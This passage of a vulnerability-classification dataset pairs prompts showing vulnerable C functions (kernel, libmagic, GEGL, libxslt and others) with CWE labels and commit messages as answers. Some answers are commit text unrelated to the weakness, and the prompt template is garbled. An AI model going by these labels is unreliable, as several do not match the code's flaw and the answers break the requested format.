atomic_set(&page->_mapcount, 0)\n set_pmd_at\n // Here we set the page's PMD entry which will be cleared\n // when Thread A calls pmd_clear_bad().\n ...\n spin_unlock(&mm->page_table_lock)\n\n The mmap_sem does not prevent the race because both threads are acquiring\n it in shared mode (down_read). Thread B holds the page_table_lock while\n the page's map count and PMD table entry are updated. However, Thread A\n does not synchronize on that lock.\n\n====== end quote =======\n\n[akpm@linux-foundation.org: checkpatch fixes]\nReported-by: Ulrich Obergfell \nSigned-off-by: Andrea Arcangeli \nAcked-by: Johannes Weiner \nCc: Mel Gorman \nCc: Hugh Dickins \nCc: Dave Jones \nAcked-by: Larry Woodman \nAcked-by: Rik van Riel \nCc: \t\t[2.6.38+]\nCc: Mark Salter \nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: cdf_file_property_info(struct magic_set *ms, const cdf_property_info_t *info,\n size_t count)\n{\n size_t i;\n cdf_timestamp_t tp;\n struct timespec ts;\n char buf[64];\n const char *str = NULL;\n const char *s;\n int len;\n\n for (i = 0; i < count; i++) {\n cdf_print_property_name(buf, sizeof(buf), info[i].pi_id);\n switch (info[i].pi_type) {\n case CDF_NULL:\n break;\n case CDF_SIGNED16:\n if (NOTMIME(ms) && file_printf(ms, \", %s: %hd\", buf,\n info[i].pi_s16) == -1)\n return -1;\n break;\n case CDF_SIGNED32:\n if (NOTMIME(ms) && file_printf(ms, \", %s: %d\", buf,\n info[i].pi_s32) == -1)\n return -1;\n break;\n case CDF_UNSIGNED32:\n if (NOTMIME(ms) && file_printf(ms, \", %s: %u\", buf,\n info[i].pi_u32) == -1)\n return -1;\n break;\n case CDF_LENGTH32_STRING:\n case CDF_LENGTH32_WSTRING:\n len = info[i].pi_str.s_len;\n if (len > 1) {\n char vbuf[1024];\n size_t j, k = 1;\n\n if (info[i].pi_type == CDF_LENGTH32_WSTRING)\n k++;\n s = info[i].pi_str.s_buf;\n for (j = 0; j < sizeof(vbuf) && len--;\n j++, s += k) {\n if (*s == '\\0')\n break;\n if (isprint((unsigned char)*s))\n vbuf[j] = *s;\n }\n if (j == sizeof(vbuf))\n --j;\n vbuf[j] = '\\0';\n if (NOTMIME(ms)) {\n if (vbuf[0]) {\n if (file_printf(ms, \", %s: %s\",\n buf, vbuf) == -1)\n return -1;\n }\n } else if (info[i].pi_id ==\n CDF_PROPERTY_NAME_OF_APPLICATION) {\n if (strstr(vbuf, \"Word\"))\n str = \"msword\";\n else if (strstr(vbuf, \"Excel\"))\n str = \"vnd.ms-excel\";\n else if (strstr(vbuf, \"Powerpoint\"))\n str = \"vnd.ms-powerpoint\";\n else if (strstr(vbuf,\n \"Crystal Reports\"))\n str = \"x-rpt\";\n }\n }\n break;\n case CDF_FILETIME:\n tp = info[i].pi_tp;\n if (tp != 0) {\n if (tp < 1000000000000000LL) {\n char tbuf[64];\n cdf_print_elapsed_time(tbuf,\n sizeof(tbuf), tp);\n if (NOTMIME(ms) && file_printf(ms,\n \", %s: %s\", buf, tbuf) == -1)\n return -1;\n } else {\n char *c, *ec;\n cdf_timestamp_to_timespec(&ts, tp);\n c = cdf_ctime(&ts.tv_sec);\n if ((ec = strchr(c, '\\n')) != NULL)\n *ec = '\\0';\n\n if (NOTMIME(ms) && file_printf(ms,\n \", %s: %s\", buf, c) == -1)\n return -1;\n }\n }\n break;\n case CDF_CLIPBOARD:\n break;\n default:\n return -1;\n }\n }\n if (!NOTMIME(ms)) {\n\t\tif (str == NULL)\n\t\t\treturn 0;\n if (file_printf(ms, \"application/%s\", str) == -1)\n return -1;\n }\n return 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': '- add float and double types\n- fix debug printf formats\n- fix short stream sizes\n- don't fail if we don't know about a type'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: cdf_read_short_sector(const cdf_stream_t *sst, void *buf, size_t offs,\n size_t len, const cdf_header_t *h, cdf_secid_t id)\n{\n\tsize_t ss = CDF_SEC_SIZE(h);\n\tsize_t pos = CDF_SHORT_SEC_POS(h, id);\n\tassert(ss == len);\n\tif (pos > ss * sst->sst_len) {\n\t\tDPRINTF((\"Out of bounds read %\" SIZE_T_FORMAT \"u > %\"\n\t\t SIZE_T_FORMAT \"u\\n\",\n\t\t pos, ss * sst->sst_len));\n\t\treturn -1;\n\t}\n\t(void)memcpy(((char *)buf) + offs,\n\t ((const char *)sst->sst_tab) + pos, len);\n\treturn len;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'Fix bounds checks again.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int kvm_iommu_map_guest(struct kvm *kvm)\n{\n\tint r;\n\n\tif (!iommu_present(&pci_bus_type)) {\n\t\tprintk(KERN_ERR \"%s: iommu not found\\n\", __func__);\n\t\treturn -ENODEV;\n\t}\n\n\tkvm->arch.iommu_domain = iommu_domain_alloc(&pci_bus_type);\n\tif (!kvm->arch.iommu_domain)\n\t\treturn -ENOMEM;\n\n\tif (!allow_unsafe_assigned_interrupts &&\n\t !iommu_domain_has_cap(kvm->arch.iommu_domain,\n\t\t\t\t IOMMU_CAP_INTR_REMAP)) {\n\t\tprintk(KERN_WARNING \"%s: No interrupt remapping support,\"\n\t\t \" disallowing device assignment.\"\n\t\t \" Re-enble with \\\"allow_unsafe_assigned_interrupts=1\\\"\"\n\t\t \" module option.\\n\", __func__);\n\t\tiommu_domain_free(kvm->arch.iommu_domain);\n\t\tkvm->arch.iommu_domain = NULL;\n\t\treturn -EPERM;\n\t}\n\n\tr = kvm_iommu_map_memslots(kvm);\n\tif (r)\n\t\tgoto out_unmap;\n\n\treturn 0;\n\nout_unmap:\n\tkvm_iommu_unmap_memslots(kvm);\n\treturn r;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-264'], 'message': 'KVM: lock slots_lock around device assignment\n\nAs pointed out by Jason Baron, when assigning a device to a guest\nwe first set the iommu domain pointer, which enables mapping\nand unmapping of memory slots to the iommu. This leaves a window\nwhere this path is enabled, but we haven't synchronized the iommu\nmappings to the existing memory slots. Thus a slot being removed\nat that point could send us down unexpected code paths removing\nnon-existent pinnings and iommu mappings. Take the slots_lock\naround creating the iommu domain and initial mappings as well as\naround iommu teardown to avoid this race.\n\nSigned-off-by: Alex Williamson \nSigned-off-by: Marcelo Tosatti '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: read_bitmap_file_data (FILE *fstream,\n\t\t guint *width, \n\t\t guint *height,\n\t\t guchar **data,\n\t\t int *x_hot, \n\t\t int *y_hot)\n{\n\tguchar *bits = NULL;\t\t/* working variable */\n\tchar line[MAX_SIZE];\t\t/* input line from file */\n\tint size;\t\t\t/* number of bytes of data */\n\tchar name_and_type[MAX_SIZE];\t/* an input line */\n\tchar *type;\t\t\t/* for parsing */\n\tint value;\t\t\t/* from an input line */\n\tint version10p;\t\t\t/* boolean, old format */\n\tint padding;\t\t\t/* to handle alignment */\n\tint bytes_per_line;\t\t/* per scanline of data */\n\tguint ww = 0;\t\t\t/* width */\n\tguint hh = 0;\t\t\t/* height */\n\tint hx = -1;\t\t\t/* x hotspot */\n\tint hy = -1;\t\t\t/* y hotspot */\n\n\t/* first time initialization */\n\tif (!initialized) {\n\t\tinit_hex_table ();\n\t}\n\n\t/* error cleanup and return macro */\n#define\tRETURN(code) { g_free (bits); return code; }\n\n\twhile (fgets (line, MAX_SIZE, fstream)) {\n\t\tif (strlen (line) == MAX_SIZE-1)\n\t\t\tRETURN (FALSE);\n\t\tif (sscanf (line,\"#define %s %d\",name_and_type,&value) == 2) {\n\t\t\tif (!(type = strrchr (name_and_type, '_')))\n\t\t\t\ttype = name_and_type;\n\t\t\telse {\n\t\t\t\ttype++;\n\t\t\t}\n\n\t\t\tif (!strcmp (\"width\", type))\n\t\t\t\tww = (unsigned int) value;\n\t\t\tif (!strcmp (\"height\", type))\n\t\t\t\thh = (unsigned int) value;\n\t\t\tif (!strcmp (\"hot\", type)) {\n\t\t\t\tif (type-- == name_and_type\n\t\t\t\t || type-- == name_and_type)\n\t\t\t\t\tcontinue;\n\t\t\t\tif (!strcmp (\"x_hot\", type))\n\t\t\t\t\thx = value;\n\t\t\t\tif (!strcmp (\"y_hot\", type))\n\t\t\t\t\thy = value;\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n \n\t\tif (sscanf (line, \"static short %s = {\", name_and_type) == 1)\n\t\t\tversion10p = 1;\n\t\telse if (sscanf (line,\"static const unsigned char %s = {\",name_and_type) == 1)\n\t\t\tversion10p = 0;\n\t\telse if (sscanf (line,\"static unsigned char %s = {\",name_and_type) == 1)\n\t\t\tversion10p = 0;\n\t\telse if (sscanf (line, \"static const char %s = {\", name_and_type) == 1)\n\t\t\tversion10p = 0;\n\t\telse if (sscanf (line, \"static char %s = {\", name_and_type) == 1)\n\t\t\tversion10p = 0;\n\t\telse\n\t\t\tcontinue;\n\n\t\tif (!(type = strrchr (name_and_type, '_')))\n\t\t\ttype = name_and_type;\n\t\telse\n\t\t\ttype++;\n\n\t\tif (strcmp (\"bits[]\", type))\n\t\t\tcontinue;\n \n\t\tif (!ww || !hh)\n\t\t\tRETURN (FALSE);\n\n\t\tif ((ww % 16) && ((ww % 16) < 9) && version10p)\n\t\t\tpadding = 1;\n\t\telse\n\t\t\tpadding = 0;\n\n\t\tbytes_per_line = (ww+7)/8 + padding;\n\n\t\tsize = bytes_per_line * hh;\n\t\tbits = g_malloc (size);\n\n\t\tif (version10p) {\n\t\t\tunsigned char *ptr;\n\t\t\tint bytes;\n\n\t\t\tfor (bytes = 0, ptr = bits; bytes < size; (bytes += 2)) {\n\t\t\t\tif ((value = next_int (fstream)) < 0)\n\t\t\t\t\tRETURN (FALSE);\n\t\t\t\t*(ptr++) = value;\n\t\t\t\tif (!padding || ((bytes+2) % bytes_per_line))\n\t\t\t\t\t*(ptr++) = value >> 8;\n\t\t\t}\n\t\t} else {\n\t\t\tunsigned char *ptr;\n\t\t\tint bytes;\n\n\t\t\tfor (bytes = 0, ptr = bits; bytes < size; bytes++, ptr++) {\n\t\t\t\tif ((value = next_int (fstream)) < 0) \n\t\t\t\t\tRETURN (FALSE);\n\t\t\t\t*ptr=value;\n\t\t\t}\n\t\t}\n\t\tbreak;\n\t}\n\n\tif (!bits)\n\t\tRETURN (FALSE);\n\n\t*data = bits;\n\t*width = ww;\n\t*height = hh;\n\tif (x_hot)\n\t\t*x_hot = hx;\n\tif (y_hot)\n\t\t*y_hot = hy;\n\n\treturn TRUE;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-189'], 'message': 'Avoid an integer overflow in the xbm loader\n\nAt the same time, reject some silly input, such as negative\nwidth or height.\n\nhttps://bugzilla.gnome.org/show_bug.cgi?id=672811'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: GC_INNER void * GC_generic_malloc_ignore_off_page(size_t lb, int k)\n{\n void *result;\n size_t lg;\n size_t lb_rounded;\n word n_blocks;\n GC_bool init;\n DCL_LOCK_STATE;\n\n if (SMALL_OBJ(lb))\n return(GC_generic_malloc((word)lb, k));\n lg = ROUNDED_UP_GRANULES(lb);\n lb_rounded = GRANULES_TO_BYTES(lg);\n n_blocks = OBJ_SZ_TO_BLOCKS(lb_rounded);\n init = GC_obj_kinds[k].ok_init;\n if (EXPECT(GC_have_errors, FALSE))\n GC_print_all_errors();\n GC_INVOKE_FINALIZERS();\n LOCK();\n result = (ptr_t)GC_alloc_large(ADD_SLOP(lb), k, IGNORE_OFF_PAGE);\n if (0 != result) {\n if (GC_debugging_started) {\n BZERO(result, n_blocks * HBLKSIZE);\n } else {\n# ifdef THREADS\n /* Clear any memory that might be used for GC descriptors */\n /* before we release the lock. */\n ((word *)result)[0] = 0;\n ((word *)result)[1] = 0;\n ((word *)result)[GRANULES_TO_WORDS(lg)-1] = 0;\n ((word *)result)[GRANULES_TO_WORDS(lg)-2] = 0;\n# endif\n }\n }\n GC_bytes_allocd += lb_rounded;\n if (0 == result) {\n GC_oom_func oom_fn = GC_oom_fn;\n UNLOCK();\n return((*oom_fn)(lb));\n } else {\n UNLOCK();\n if (init && !GC_debugging_started) {\n BZERO(result, n_blocks * HBLKSIZE);\n }\n return(result);\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-189'], 'message': 'Fix allocation size overflows due to rounding.\n\n* malloc.c (GC_generic_malloc): Check if the allocation size is\nrounded to a smaller value.\n* mallocx.c (GC_generic_malloc_ignore_off_page): Likewise.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: handle_subnets_accessed(CMD_Request *rx_message, CMD_Reply *tx_message)\n{\n int i, j;\n unsigned long ns, bits_specd;\n IPAddr ip;\n CLG_Status result;\n \n ns = ntohl(rx_message->data.subnets_accessed.n_subnets);\n tx_message->status = htons(STT_SUCCESS);\n tx_message->reply = htons(RPY_SUBNETS_ACCESSED);\n tx_message->data.subnets_accessed.n_subnets = htonl(ns);\n\n for (i=0; idata.subnets_accessed.subnets[i].ip, &ip);\n bits_specd = ntohl(rx_message->data.subnets_accessed.subnets[i].bits_specd);\n\n UTI_IPHostToNetwork(&ip, &tx_message->data.subnets_accessed.subnets[i].ip);\n tx_message->data.subnets_accessed.subnets[i].bits_specd = htonl(bits_specd);\n \n result = CLG_GetSubnetBitmap(&ip, bits_specd, tx_message->data.subnets_accessed.subnets[i].bitmap);\n switch (result) {\n case CLG_SUCCESS:\n case CLG_EMPTYSUBNET:\n /* Flip endianness of each 4 byte word. Don't care if subnet\n is empty - just return an all-zero bitmap. */\n for (j=0; j<8; j++) {\n FLIPL(tx_message->data.subnets_accessed.subnets[i].bitmap[j]);\n }\n break;\n case CLG_BADSUBNET:\n tx_message->status = htons(STT_BADSUBNET);\n return;\n case CLG_INACTIVE:\n tx_message->status = htons(STT_INACTIVE);\n return;\n default:\n assert(0);\n break;\n }\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-189'], 'message': 'Don't send uninitialized data in command replies\n\nThe RPY_SUBNETS_ACCESSED and RPY_CLIENT_ACCESSES command replies can\ncontain uninitalized data from stack when the client logging is disabled\nor a bad subnet is requested. These commands were never used by chronyc\nand they require the client to be authenticated since version 1.25.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void _out_result(conn_t out, nad_t nad) {\n int attr;\n jid_t from, to;\n char *rkey;\n int rkeylen;\n\n attr = nad_find_attr(nad, 0, -1, \"from\", NULL);\n if(attr < 0 || (from = jid_new(NAD_AVAL(nad, attr), NAD_AVAL_L(nad, attr))) == NULL) {\n log_debug(ZONE, \"missing or invalid from on db result packet\");\n nad_free(nad);\n return;\n }\n\n attr = nad_find_attr(nad, 0, -1, \"to\", NULL);\n if(attr < 0 || (to = jid_new(NAD_AVAL(nad, attr), NAD_AVAL_L(nad, attr))) == NULL) {\n log_debug(ZONE, \"missing or invalid to on db result packet\");\n jid_free(from);\n nad_free(nad);\n return;\n }\n\n rkey = s2s_route_key(NULL, to->domain, from->domain);\n rkeylen = strlen(rkey);\n\n /* key is valid */\n if(nad_find_attr(nad, 0, -1, \"type\", \"valid\") >= 0) {\n log_write(out->s2s->log, LOG_NOTICE, \"[%d] [%s, port=%d] outgoing route '%s' is now valid%s%s\", out->fd->fd, out->ip, out->port, rkey, (out->s->flags & SX_SSL_WRAPPER) ? \", TLS negotiated\" : \"\", out->s->compressed ? \", ZLIB compression enabled\" : \"\");\n\n xhash_put(out->states, pstrdup(xhash_pool(out->states), rkey), (void *) conn_VALID); /* !!! small leak here */\n\n log_debug(ZONE, \"%s valid, flushing queue\", rkey);\n\n /* flush the queue */\n out_flush_route_queue(out->s2s, rkey, rkeylen);\n\n free(rkey);\n\n jid_free(from);\n jid_free(to);\n\n nad_free(nad);\n\n return;\n }\n\n /* invalid */\n log_write(out->s2s->log, LOG_NOTICE, \"[%d] [%s, port=%d] outgoing route '%s' is now invalid\", out->fd->fd, out->ip, out->port, rkey);\n\n /* close connection */\n log_write(out->s2s->log, LOG_NOTICE, \"[%d] [%s, port=%d] closing connection\", out->fd->fd, out->ip, out->port);\n\n /* report stream error */\n sx_error(out->s, stream_err_INVALID_ID, \"dialback negotiation failed\");\n\n /* close the stream */\n sx_close(out->s);\n\n /* bounce queue */\n out_bounce_route_queue(out->s2s, rkey, rkeylen, stanza_err_SERVICE_UNAVAILABLE);\n\n free(rkey);\n\n jid_free(from);\n jid_free(to);\n\n nad_free(nad);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'Fixed possibility of Unsolicited Dialback Attacks'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int inet_sk_rebuild_header(struct sock *sk)\n{\n\tstruct inet_sock *inet = inet_sk(sk);\n\tstruct rtable *rt = (struct rtable *)__sk_dst_check(sk, 0);\n\t__be32 daddr;\n\tint err;\n\n\t/* Route is OK, nothing to do. */\n\tif (rt)\n\t\treturn 0;\n\n\t/* Reroute. */\n\tdaddr = inet->inet_daddr;\n\tif (inet->opt && inet->opt->srr)\n\t\tdaddr = inet->opt->faddr;\n\trt = ip_route_output_ports(sock_net(sk), sk, daddr, inet->inet_saddr,\n\t\t\t\t inet->inet_dport, inet->inet_sport,\n\t\t\t\t sk->sk_protocol, RT_CONN_FLAGS(sk),\n\t\t\t\t sk->sk_bound_dev_if);\n\tif (!IS_ERR(rt)) {\n\t\terr = 0;\n\t\tsk_setup_caps(sk, &rt->dst);\n\t} else {\n\t\terr = PTR_ERR(rt);\n\n\t\t/* Routing failed... */\n\t\tsk->sk_route_caps = 0;\n\t\t/*\n\t\t * Other protocols have to map its equivalent state to TCP_SYN_SENT.\n\t\t * DCCP maps its DCCP_REQUESTING state to TCP_SYN_SENT. -acme\n\t\t */\n\t\tif (!sysctl_ip_dynaddr ||\n\t\t sk->sk_state != TCP_SYN_SENT ||\n\t\t (sk->sk_userlocks & SOCK_BINDADDR_LOCK) ||\n\t\t (err = inet_sk_reselect_saddr(sk)) != 0)\n\t\t\tsk->sk_err_soft = -err;\n\t}\n\n\treturn err;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-362'], 'message': 'inet: add RCU protection to inet->opt\n\nWe lack proper synchronization to manipulate inet->opt ip_options\n\nProblem is ip_make_skb() calls ip_setup_cork() and\nip_setup_cork() possibly makes a copy of ipc->opt (struct ip_options),\nwithout any protection against another thread manipulating inet->opt.\n\nAnother thread can change inet->opt pointer and free old one under us.\n\nUse RCU to protect inet->opt (changed to inet->inet_opt).\n\nInstead of handling atomic refcounts, just copy ip_options when\nnecessary, to avoid cache line dirtying.\n\nWe cant insert an rcu_head in struct ip_options since its included in\nskb->cb[], so this patch is large because I had to introduce a new\nip_options_rcu structure.\n\nSigned-off-by: Eric Dumazet \nCc: Herbert Xu \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static struct ip_options *tcp_v4_save_options(struct sock *sk,\n\t\t\t\t\t struct sk_buff *skb)\n{\n\tstruct ip_options *opt = &(IPCB(skb)->opt);\n\tstruct ip_options *dopt = NULL;\n\n\tif (opt && opt->optlen) {\n\t\tint opt_size = optlength(opt);\n\t\tdopt = kmalloc(opt_size, GFP_ATOMIC);\n\t\tif (dopt) {\n\t\t\tif (ip_options_echo(dopt, skb)) {\n\t\t\t\tkfree(dopt);\n\t\t\t\tdopt = NULL;\n\t\t\t}\n\t\t}\n\t}\n\treturn dopt;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-362'], 'message': 'inet: add RCU protection to inet->opt\n\nWe lack proper synchronization to manipulate inet->opt ip_options\n\nProblem is ip_make_skb() calls ip_setup_cork() and\nip_setup_cork() possibly makes a copy of ipc->opt (struct ip_options),\nwithout any protection against another thread manipulating inet->opt.\n\nAnother thread can change inet->opt pointer and free old one under us.\n\nUse RCU to protect inet->opt (changed to inet->inet_opt).\n\nInstead of handling atomic refcounts, just copy ip_options when\nnecessary, to avoid cache line dirtying.\n\nWe cant insert an rcu_head in struct ip_options since its included in\nskb->cb[], so this patch is large because I had to introduce a new\nip_options_rcu structure.\n\nSigned-off-by: Eric Dumazet \nCc: Herbert Xu \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void cipso_v4_req_delattr(struct request_sock *req)\n{\n\tstruct ip_options *opt;\n\tstruct inet_request_sock *req_inet;\n\n\treq_inet = inet_rsk(req);\n\topt = req_inet->opt;\n\tif (opt == NULL || opt->cipso == 0)\n\t\treturn;\n\n\tcipso_v4_delopt(&req_inet->opt);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-362'], 'message': 'inet: add RCU protection to inet->opt\n\nWe lack proper synchronization to manipulate inet->opt ip_options\n\nProblem is ip_make_skb() calls ip_setup_cork() and\nip_setup_cork() possibly makes a copy of ipc->opt (struct ip_options),\nwithout any protection against another thread manipulating inet->opt.\n\nAnother thread can change inet->opt pointer and free old one under us.\n\nUse RCU to protect inet->opt (changed to inet->inet_opt).\n\nInstead of handling atomic refcounts, just copy ip_options when\nnecessary, to avoid cache line dirtying.\n\nWe cant insert an rcu_head in struct ip_options since its included in\nskb->cb[], so this patch is large because I had to introduce a new\nip_options_rcu structure.\n\nSigned-off-by: Eric Dumazet \nCc: Herbert Xu \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: process (GeglOperation *operation,\n GeglBuffer *output,\n const GeglRectangle *result,\n gint level)\n{\n GeglChantO *o = GEGL_CHANT_PROPERTIES (operation);\n FILE *fp;\n pnm_struct img;\n GeglRectangle rect = {0,0,0,0};\n gboolean ret = FALSE;\n\n fp = (!strcmp (o->path, \"-\") ? stdin : fopen (o->path,\"rb\"));\n\n if (!fp)\n return FALSE;\n\n if (!ppm_load_read_header (fp, &img))\n goto out;\n\n rect.height = img.height;\n rect.width = img.width;\n\n /* Allocating Array Size */\n img.data = (guchar*) g_malloc (img.numsamples * img.bpc);\n\n switch (img.bpc)\n {\n case 1:\n gegl_buffer_get (output, &rect, 1.0, babl_format (\"R'G'B' u8\"), img.data,\n GEGL_AUTO_ROWSTRIDE, GEGL_ABYSS_NONE);\n break;\n\n case 2:\n gegl_buffer_get (output, &rect, 1.0, babl_format (\"R'G'B' u16\"), img.data,\n GEGL_AUTO_ROWSTRIDE, GEGL_ABYSS_NONE);\n break;\n\n default:\n g_warning (\"%s: Programmer stupidity error\", G_STRLOC);\n }\n\n ppm_load_read_image (fp, &img);\n\n switch (img.bpc)\n {\n case 1:\n gegl_buffer_set (output, &rect, 0, babl_format (\"R'G'B' u8\"), img.data,\n GEGL_AUTO_ROWSTRIDE);\n break;\n\n case 2:\n gegl_buffer_set (output, &rect, 0, babl_format (\"R'G'B' u16\"), img.data,\n GEGL_AUTO_ROWSTRIDE);\n break;\n\n default:\n g_warning (\"%s: Programmer stupidity error\", G_STRLOC);\n }\n\n g_free (img.data);\n\n ret = TRUE;\n\n out:\n if (stdin != fp)\n fclose (fp);\n\n return ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-189'], 'message': 'ppm-load: CVE-2012-4433: don't overflow memory allocation\n\nCarefully selected width/height values could cause the size of a later\nallocation to overflow, resulting in a buffer much too small to store\nthe data which would then written beyond its end.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: xsltAttrTemplateProcess(xsltTransformContextPtr ctxt, xmlNodePtr target,\n\t xmlAttrPtr attr)\n{\n const xmlChar *value;\n xmlAttrPtr ret;\n\n if ((ctxt == NULL) || (attr == NULL) || (target == NULL) ||\n (target->type != XML_ELEMENT_NODE))\n\treturn(NULL);\n \n if (attr->type != XML_ATTRIBUTE_NODE)\n\treturn(NULL);\n\n /*\n * Skip all XSLT attributes.\n */\n#ifdef XSLT_REFACTORED \n if (attr->psvi == xsltXSLTAttrMarker)\n\treturn(NULL);\n#else\n if ((attr->ns != NULL) && xmlStrEqual(attr->ns->href, XSLT_NAMESPACE))\n\treturn(NULL);\n#endif\n /*\n * Get the value.\n */\n if (attr->children != NULL) {\n\tif ((attr->children->type != XML_TEXT_NODE) ||\n\t (attr->children->next != NULL))\n\t{\n\t xsltTransformError(ctxt, NULL, attr->parent,\n\t\t\"Internal error: The children of an attribute node of a \"\n\t\t\"literal result element are not in the expected form.\\n\");\n\t return(NULL);\n\t}\n\tvalue = attr->children->content;\n\tif (value == NULL)\n\t value = xmlDictLookup(ctxt->dict, BAD_CAST \"\", 0);\n } else\n\tvalue = xmlDictLookup(ctxt->dict, BAD_CAST \"\", 0);\n /*\n * Overwrite duplicates.\n */\n ret = target->properties;\n while (ret != NULL) {\n if (((attr->ns != NULL) == (ret->ns != NULL)) &&\n\t xmlStrEqual(ret->name, attr->name) &&\n\t ((attr->ns == NULL) || xmlStrEqual(ret->ns->href, attr->ns->href)))\n\t{\n\t break;\n\t}\n ret = ret->next;\n }\n if (ret != NULL) {\t\n /* free the existing value */\n\txmlFreeNodeList(ret->children);\n\tret->children = ret->last = NULL;\n\t/*\n\t* Adjust ns-prefix if needed.\n\t*/\n\tif ((ret->ns != NULL) &&\n\t (! xmlStrEqual(ret->ns->prefix, attr->ns->prefix)))\n\t{\n\t ret->ns = xsltGetNamespace(ctxt, attr->parent, attr->ns, target);\n\t}\n } else {\n /* create a new attribute */\n\tif (attr->ns != NULL)\n\t ret = xmlNewNsProp(target,\n\t\txsltGetNamespace(ctxt, attr->parent, attr->ns, target),\n\t\t attr->name, NULL);\n\telse\n\t ret = xmlNewNsProp(target, NULL, attr->name, NULL);\t\n }\n /*\n * Set the value.\n */\n if (ret != NULL) {\n xmlNodePtr text;\n\n text = xmlNewText(NULL);\n\tif (text != NULL) {\n\t ret->last = ret->children = text;\n\t text->parent = (xmlNodePtr) ret;\n\t text->doc = ret->doc;\n\n\t if (attr->psvi != NULL) {\n\t\t/*\n\t\t* Evaluate the Attribute Value Template.\n\t\t*/\n\t\txmlChar *val;\n\t\tval = xsltEvalAVT(ctxt, attr->psvi, attr->parent);\n\t\tif (val == NULL) {\n\t\t /*\n\t\t * TODO: Damn, we need an easy mechanism to report\n\t\t * qualified names!\n\t\t */\n\t\t if (attr->ns) {\n\t\t\txsltTransformError(ctxt, NULL, attr->parent,\n\t\t\t \"Internal error: Failed to evaluate the AVT \"\n\t\t\t \"of attribute '{%s}%s'.\\n\",\n\t\t\t attr->ns->href, attr->name);\n\t\t } else {\n\t\t\txsltTransformError(ctxt, NULL, attr->parent,\n\t\t\t \"Internal error: Failed to evaluate the AVT \"\n\t\t\t \"of attribute '%s'.\\n\",\n\t\t\t attr->name);\n\t\t }\n\t\t text->content = xmlStrdup(BAD_CAST \"\");\n\t\t} else {\n\t\t text->content = val;\n\t\t}\n\t } else if ((ctxt->internalized) && (target != NULL) &&\n\t (target->doc != NULL) &&\n\t\t (target->doc->dict == ctxt->dict)) {\n\t\ttext->content = (xmlChar *) value;\n\t } else {\n\t\ttext->content = xmlStrdup(value);\n\t }\n\t}\n } else {\n\tif (attr->ns) {\n\t xsltTransformError(ctxt, NULL, attr->parent,\n\t \t\"Internal error: Failed to create attribute '{%s}%s'.\\n\",\n\t\tattr->ns->href, attr->name);\n\t} else {\n\t xsltTransformError(ctxt, NULL, attr->parent,\n\t \t\"Internal error: Failed to create attribute '%s'.\\n\",\n\t\tattr->name);\n\t}\n }\n return(ret);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399'], 'message': 'Fix a 